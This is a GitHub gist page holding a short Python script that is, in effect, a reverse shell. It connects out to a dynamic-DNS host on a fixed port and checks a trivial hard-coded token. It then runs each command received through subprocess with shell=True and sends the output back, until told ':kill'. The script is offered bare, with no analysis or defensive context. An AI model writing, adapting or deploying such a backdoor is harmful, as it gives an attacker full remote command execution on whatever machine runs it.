Created
March 15, 2017 15:12
-
-
Save badgateway666/1166fbb7ef695ad03579147daca5d89e to your computer and use it in GitHub Desktop.
asdf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import subprocess | |
import socket | |
import time as t | |
service = "cronixx.ddns.net" | |
port = 30841 | |
token = "123" | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
def start(): | |
sock.connect((service, port)) | |
login() | |
def recv_stripped(bufsiz): | |
return str(sock.recv(bufsiz), encoding='UTF-8') | |
def send_unstripped(msg): | |
sock.send(bytes(str(msg), encoding='UTF-8')) | |
def login(): | |
""" Checks for login """ | |
send_unstripped('Login: ') | |
key = recv_stripped(1024) | |
if key != token: | |
login() | |
else: | |
send_unstripped('Connected #> ') | |
shell() | |
def shell(): | |
""" Executes Shell commands """ | |
while True: | |
data = recv_stripped(1024) | |
if data == ":kill": | |
sock.close() | |
quit() | |
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, | |
stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
output = proc.stdout.read() + proc.stderr.read() | |
send_unstripped(output) | |
start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
"send_unstripped" perversling..